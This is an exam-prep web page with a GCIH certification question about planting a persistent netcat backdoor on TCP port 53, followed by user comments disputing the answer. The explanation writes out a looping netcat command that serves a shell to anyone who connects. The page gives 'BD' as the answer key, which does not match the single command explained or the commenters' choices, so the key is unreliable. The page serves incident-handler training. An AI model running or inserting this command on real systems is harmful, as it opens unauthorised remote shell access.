GCIH Exam QuestionsBrowse all questions from this exam

GCIH Exam - Question 89


How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?

Show Answer
Correct Answer: BD

To set up a persistent backdoor listener on TCP port 53 using netcat, the command should run continuously to ensure persistence. The command 'while true; do nc -l -p 53 -e /bin/sh; done' sets up an infinite loop that repeatedly starts a netcat listener on port 53, which executes a shell when a connection is made, thus maintaining persistence.

Discussion

3 comments
Sign in to comment
sasdsOption: A
Jan 10, 2023

correct answer A

XBalOption: D
Mar 15, 2023

Answer should be D because of word "Persistent"

847ch0n3Option: D
Mar 3, 2024

persistent = while true